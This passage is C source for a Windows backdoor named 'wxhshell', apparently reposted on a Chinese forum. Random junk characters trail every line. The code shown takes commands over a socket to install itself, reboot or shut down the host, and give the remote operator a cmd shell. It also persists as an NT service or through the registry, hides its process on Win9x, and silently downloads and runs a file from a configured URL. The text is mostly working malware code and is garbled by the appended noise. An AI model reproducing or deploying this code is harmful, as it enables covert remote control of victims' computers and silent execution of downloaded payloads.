  // 帮助 [+n*~  
  case '?': { !Prg_6 `  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R{<kW9!  
    break; ^/I 7|u]  
  } FWrX3i  
  // 安装 6xTuNE1  
  case 'i': { &=] ~0$  
    if(Install()) -*Xa3/kQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r*2+xDoEi  
    else CQF:Rnb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G\2 CR*  
    break; Y']\Jq{OS  
    } =.Pw`.  
  // 卸载 . qO@Q=  
  case 'r': { H<i]V9r  
    if(Uninstall()) 6-N?mSQU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;K:zmH  
    else t5\-v_mG=&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )~)J?l3 {  
    break; LDgrR[  
    } !/'t5~x[  
  // 显示 wxhshell 所在路径 4":KoS`,j  
  case 'p': { } gyj0  
    char svExeFile[MAX_PATH]; P{kur} T  
    strcpy(svExeFile,"\n\r"); ^a0um/+M}  
      strcat(svExeFile,ExeFile); +h|`/ &,  
        send(wsh,svExeFile,strlen(svExeFile),0);  VA6}  
    break; nv*FT  
    } x nsLf?>]  
  // 重启 )WNzWUfn=z  
  case 'b': { CGW.I$u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aH)}/n  
    if(Boot(REBOOT)) a!6{:8Zi0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6iVxc|Ia  
    else { &#{Z( h.de  
    closesocket(wsh); n\Z!ff/  
    ExitThread(0); X9v.1s,  
    } :C(=&g<]D  
    break; >*~L28Fyn  
    } Vz~{UHH6  
  // 关机 QO<jI#  
  case 'd': { 2Q/x@aT,h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jFQQ`O V  
    if(Boot(SHUTDOWN)) hO\<%0F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:UW#S%A f  
    else { | k&Ck  
    closesocket(wsh); n,vct<&z@  
    ExitThread(0); ?A K(|  
    } <GS^  
    break; k3lS8d7  
    } 1{)5<!9!l  
  // 获取shell {2O1"|s ,  
  case 's': { Ci@o|Y }tP  
    CmdShell(wsh); f',Op1o  
    closesocket(wsh); Sj%u)#Ub  
    ExitThread(0); f(>p=%=O  
    break; x,=&JtKVc  
  } Ep9nsX*   
  // 退出 $SlIr<'*"  
  case 'x': { H4WP~(__  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7x"R3  
    CloseIt(wsh); m ifxiV  
    break; 8 }I$'x  
    } #3i3G(mQ  
  // 离开 EaO6[E  
  case 'q': { R3 -n>V5o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Km qMFB62  
    closesocket(wsh); |B?cVc0  
    WSACleanup(); aB_F9;IR  
    exit(1); 66g9l9wm(  
    break; >nJ\BPx  
        } {DV_* 5  
  } Tm~" IB*  
  } A!od9W6  
6hno)kd{=  
  // 提示信息 sQYkQ81  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { }:#G  
} U\g/2dM  
  } tIWmp30S  
0\X\izQ5  
  return; )1]ZtU  
} fe\mL mK9  
dcDyK!zz"  
// shell模块句柄 h=W:^@G  
int CmdShell(SOCKET sock) X2#2C/6#u  
{ W =D4r  
STARTUPINFO si; Yk'XGr)  
ZeroMemory(&si,sizeof(si)); P@,XEQRd`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 35h 8O,Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @KXV%a'  
PROCESS_INFORMATION ProcessInfo; AiwOc+R  
char cmdline[]="cmd"; .yMEIUm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [zH:1Zhl&  
  return 0; R"-mKT}  
} 4)S,3G  
5[8xV%>;  
// 自身启动模式 &xU[E!2H%  
int StartFromService(void) C(eTR1  
{ #Vnkvvv  
typedef struct YDIG,%uv  
{ > $O]Eu!  
  DWORD ExitStatus; 3$jT*OyG#  
  DWORD PebBaseAddress; EGGWrl}1  
  DWORD AffinityMask; h}>"j%I  
  DWORD BasePriority; >f|||H}Snw  
  ULONG UniqueProcessId; Yz'K]M_Dq  
  ULONG InheritedFromUniqueProcessId; |.(dq^  
}   PROCESS_BASIC_INFORMATION; '3R`lv   
R8Wr^s>'  
PROCNTQSIP NtQueryInformationProcess; /}((l%UE.  
s,"]aew  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q1T$k$n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (j%~u&+-  
vt/x ,Y  
  HANDLE             hProcess; 5us:adm[pD  
  PROCESS_BASIC_INFORMATION pbi; j:Xq1f6a  
@#l `iK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c_dVWh e  
  if(NULL == hInst ) return 0; 9)D6Nm  
l z/8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >Ifr [  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N&.H|5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); To\QjP-  
59 h]UX=  
  if (!NtQueryInformationProcess) return 0; +Te\H  
l94b^W}1)W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v>6"j1Z  
  if(!hProcess) return 0; jqz ux[6{  
5A,K6f@:g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L{#IT.  
vRznw&^E  
  CloseHandle(hProcess); PoHg,n]  
]dF ,:8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bpOYHc6,*`  
if(hProcess==NULL) return 0; kAKK bmE  
}cM}Oavh  
HMODULE hMod; kT|dUw9G  
char procName[255]; !({}(!P .  
unsigned long cbNeeded; d}Xr}  
EHSlK5bD,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /~DI 6g  
j9m_jv  
  CloseHandle(hProcess); Cw~q4A6'  
c\/=iVw,  
if(strstr(procName,"services")) return 1; // 以服务启动 o m!!Sl3  
{WJm  
  return 0; // 注册表启动 M "ui0 ac  
} R%Hi+#/dr-  
#^#PPO  
// 主模块 Y`KqEjsC*  
int StartWxhshell(LPSTR lpCmdLine) s'3 s^Dd  
{ pk>^?MO  
  SOCKET wsl; Lk|hQ  
BOOL val=TRUE; e*sfPHt  
  int port=0; *$#W]bO  
  struct sockaddr_in door; u]:oZMnj  
E!;SL|lj.  
  if(wscfg.ws_autoins) Install(); 3v(*5  
bjyZk_\  
port=atoi(lpCmdLine); '-wj9OU  
evenq$ H  
if(port<=0) port=wscfg.ws_port; "WlZ)wyF%  
4d"r^y'  
  WSADATA data; CZ8KEBl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rr/B= O7  
G `+T+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C^s^D:   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uMUBh 80,L  
  door.sin_family = AF_INET; U1Q:= yD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T=<@]$?  
  door.sin_port = htons(port); Mc@e0  
~Cbc<[}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a@8v^G  
closesocket(wsl); xg30x C[  
return 1; U] ~$g}!)  
} "33Fv9C#bK  
IO wj>t  
  if(listen(wsl,2) == INVALID_SOCKET) { t9nqu!);  
closesocket(wsl); ><RpEnWZ<  
return 1; uyO/55;HO  
} X1,I  
  Wxhshell(wsl); ksc;X$f&4  
  WSACleanup(); B`YTl~4  
@X%C>iYa9  
return 0; imo$-}A  
*lYVY) L  
} 4hO!\5-w:  
z-BXd  
// 以NT服务方式启动 u6?Q3 bvI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yZ @"\Z!  
{ +j#+8Ze  
DWORD   status = 0; =FlDb 5t{  
  DWORD   specificError = 0xfffffff; VdPtPq1  
dFRsm0T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rr+|Zt Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VQ"hUX8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \}+_Fo/  
  serviceStatus.dwWin32ExitCode     = 0; +"x,x  
  serviceStatus.dwServiceSpecificExitCode = 0; UXeN8  
  serviceStatus.dwCheckPoint       = 0; eS{!)j_^  
  serviceStatus.dwWaitHint       = 0; Olt `:;j-  
^({})T0wu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bhID#&  
  if (hServiceStatusHandle==0) return; ?iPC*  
r/4``shg  
status = GetLastError(); T{Gj+7bQ~  
  if (status!=NO_ERROR) l-fi%Z7C  
{ 2I%MAb&1@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p s/A yjk  
    serviceStatus.dwCheckPoint       = 0; .nB0 h  
    serviceStatus.dwWaitHint       = 0; ~:0sk"t$1  
    serviceStatus.dwWin32ExitCode     = status; qUh2hz:  
    serviceStatus.dwServiceSpecificExitCode = specificError; R_(tjkT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?b*s. ^  
    return; ,C K{F  
  } u_hD}V^x4  
4h~iPn'Wl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zxMX Xm;  
  serviceStatus.dwCheckPoint       = 0; QU4h8}$  
  serviceStatus.dwWaitHint       = 0; 9Kpa><  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fo5iJz"Z  
} Mc=$/ o  
ks"|}9\%<  
// 处理NT服务事件,比如:启动、停止 6tB+JF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3XL#0\im?s  
{ |h-QP#]/  
switch(fdwControl) N2B|SO''  
{ ao%NK<Lt  
case SERVICE_CONTROL_STOP: ?: N @!jeJ  
  serviceStatus.dwWin32ExitCode = 0; <nE>XAI_7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `rgn<I"  
  serviceStatus.dwCheckPoint   = 0; ->sm+H-*  
  serviceStatus.dwWaitHint     = 0; _  <WJ7  
  { ,.rs(5.z8/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T29Dt  
  } [.m`+  
  return; B$- R-S6  
case SERVICE_CONTROL_PAUSE: <<@bl@9'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kw -gojZ  
  break; JM=JH 51`  
case SERVICE_CONTROL_CONTINUE: O?)3VT*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "*m_> IU  
  break; $8;R[SU6Y  
case SERVICE_CONTROL_INTERROGATE: L_vISy%\b  
  break; * vflscgt  
}; IzsphBI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s8wmCzB~  
} W=vG$  
j:5=s%S  
// 标准应用程序主函数  9XP o3;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |k+8<\  
{ $eD.W  
1xD=ffM>8N  
// 获取操作系统版本 ,-i zEr  
OsIsNt=GetOsVer(); FB  _pw!z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !+1<E*NQ S  
>_e]C}QUr  
  // 从命令行安装 .uuO>:  
  if(strpbrk(lpCmdLine,"iI")) Install(); `4(e  
o}W%I/s  
  // 下载执行文件 C 'v+f=  
if(wscfg.ws_downexe) { &S( .GdEf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .$Ik`[+Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); TcIcS]w%  
} )^ m%i]L _  
M:-.o  
if(!OsIsNt) { ,RJtm%w  
// 如果时win9x,隐藏进程并且设置为注册表启动 T,]7ICF#  
HideProc(); :A1{d?B  
StartWxhshell(lpCmdLine); |(pRaiJ  
} &QDW9 Mi  
else S'A>2>  
  if(StartFromService()) v5By:z  
  // 以服务方式启动 K<pV  
  StartServiceCtrlDispatcher(DispatchTable); lL{ 5SH<Q  
else p89wNSMl[  
  // 普通方式启动 94+KdHAo^M  
  StartWxhshell(lpCmdLine); `wus\&!W  
2W/?q!t  
return 0; .C&ktU4  
}
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只看该作者 1 发表于: 2006-10-10
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